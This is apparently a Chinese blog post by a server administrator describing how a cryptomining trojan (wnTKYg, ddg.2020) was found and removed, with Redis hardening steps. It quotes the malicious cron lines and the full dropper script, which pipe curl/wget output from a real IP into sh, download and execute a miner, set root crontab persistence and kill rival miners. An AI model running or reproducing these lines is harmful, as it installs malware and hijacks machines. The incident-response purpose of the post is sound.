比特币涨的这么疯狂,其他各种币都跟着涨,各色的挖矿木马也是层出不穷,这不遇到了一个。来看看如何处理它。
在一次检查任务计划时发现两个自己未曾添加的任务
#crontab -l
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/crontabs/root
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/crontabs/root
觉得奇怪,删除任务计划,删除/var/spool/cron/crontabs/root里的内容,当我查看占用CPU资源进程发现有个wnTKYg进程很占资源,搜索发现是挖矿木马,挖挖挖…哇哇哇,有网友说wnTKYg是门罗币,待验证。
i.sh脚本内容如下:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/crontabs/root
if [ ! -f "/tmp/ddg.2020" ]; then
curl -fsSL http://218.248.40.228:8443/2020/ddg.$(uname -m) -o /tmp/ddg.2020
fi
if [ ! -f "/tmp/ddg.2020" ]; then
wget -q http://218.248.40.228:8443/2020/ddg.$(uname -m) -O /tmp/ddg.2020
fi
chmod x /tmp/ddg.2020 && /tmp/ddg.2020
#这家伙还挺奸的,把其他挖矿的木马给干了先,保证自己的挖矿木马充分利用资源,最大限度榨取肉鸡资源
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
发现木马那就得除掉它,先是ps -ef |grep “wnTKYg”,找出进程好,再pkill清除进程,再find / -name wnTKYg*查找文件,找到/tmp/wnTKYg,于是删除。以为大功告成,清除木马了,没想到,几分钟后又有wnTKYg进程出现,看来是有什么监控着状态,停止了就又启动。详细查看百度出来的文章,原来还有其他地方有任务计划在执行。 按网友的方法一一铲除。
1、清除服务器上的公钥配置,查看用户列表,删除表中陌生的帐号,先把熊孩子挡在门外,不能让他们再进来了。
查看/root/.SSH下的文件known_hosts,发现有不认识的IP,查看完直接清除.ssh下的文件,简单省事。
#rm -rf /root/.ssh/*
#cat /etc/passwd
#userdel 对应的用户名
2、清除任务计划,不然*掉的进程又重新运行了。
#crontab -e
删除下面两条任务计划
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/crontabs/root
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/crontabs/root
查看/var/spool/cron目录下的任务计划,删除相关计划
3、清除对应进程及文件
#ps aux |grep "wnTKYg*"
#pkill -9 进程号
删除这个后没多久就有启动了,看来有个守护进程,top继续查看进程,终于发现有一个/tmp/ddg.2020进程可疑,百度一下果然就是挖矿工的守护进程。
#ps aux |grep "ddg*"
#pkill -9 进程号
接下来吧运行文件删除
#find / -name wnTKYg*
#find / -name ddg*
wnTKYg和ddg都是在/tmp下,只有/tmp下有这两文件,删了
#rm -rf wnTKYg
#rm -rf ddg.2020
4、修复Redis的后门的缺陷
Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。
一旦入侵成功,Redis数据会丢失,攻击者可直接添加账号用于ssh远程登录控制服务器,会给用户的 Redis 运行环境以及 Linux 主机造成安全风险,引发重要数据删除、泄露或加密勒索事件发生。
入侵条件:redis服务对公网开放,且未启用认证。
a.在 redis.conf 文件中找到 “# bind 127.0.0.1” ,把前面的#号去掉,然后保存。注:修改后只有本机才能访问Redis,也可以指定访问源IP访问Redis,最好也更改服务端口,不使用默认端口。
# port 6379
# bind 192.168.1.100 10.0.0.1
b.设置访问密码 (需要重启redis才能生效)在 redis.conf 中找到“requirepass”字段,在后面填上你需要的密码,Redis客户端也需要使用此密码来访问Redis服务。
#requirepass !QE%^E3323BDWEwwwe1839
c.设置防火墙策略如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。
iptables -A INPUT -s x.x.x.x -p tcp –dport 6379 -j ACCEPT
d.修改Redis服务运行账号 (需要重启redis才能生效)请以较低权限账号运行Redis服务,并禁用该账号的登录权限。以下为创建一个无home目录和无法登陆的普通权限账号:
#useradd -M -s /sbin/nologin [username]